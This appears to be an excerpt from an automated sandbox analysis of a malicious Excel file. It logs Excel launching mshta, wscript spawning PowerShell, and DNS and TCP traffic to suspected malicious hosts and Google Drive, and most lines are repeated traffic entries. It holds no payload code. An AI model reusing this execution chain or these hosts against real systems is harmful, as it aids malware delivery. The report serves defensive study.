Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.22:49175 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.22:49176 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 5.159.62.244:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.159.62.243:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.159.62.243:443 -> 192.168.2.22:49172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.159.62.243:443 -> 192.168.2.22:49173 version: TLS 1.2

Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\sblybu2m\sblybu2m.pdbhP source: powershell.exe, 00000011.00000002.481877021.000000000283A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.pdb source: powershell.exe, 00000005.00000002.442283646.0000000003A4E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\sblybu2m\sblybu2m.pdb source: powershell.exe, 00000011.00000002.481877021.0000000002687000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.pdbhP source: powershell.exe, 00000005.00000002.442283646.0000000003A62000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\mshta.exe

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: global traffic	DNS query: name: mpa.li
Source: global traffic	DNS query: name: mpa.li
Source: global traffic	DNS query: name: drive.google.com
Source: global traffic	DNS query: name: drive.usercontent.google.com
Source: global traffic	DNS query: name: mpa.li
Source: global traffic	DNS query: name: mpa.li
Source: global traffic	DNS query: name: drive.google.com
Source: global traffic	DNS query: name: drive.usercontent.google.com
Source: global traffic	DNS query: name: drive.usercontent.google.com

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 142.250.186.142:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49187 -> 192.3.176.141:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 5.159.62.244:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 5.159.62.243:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 142.250.186.97:443
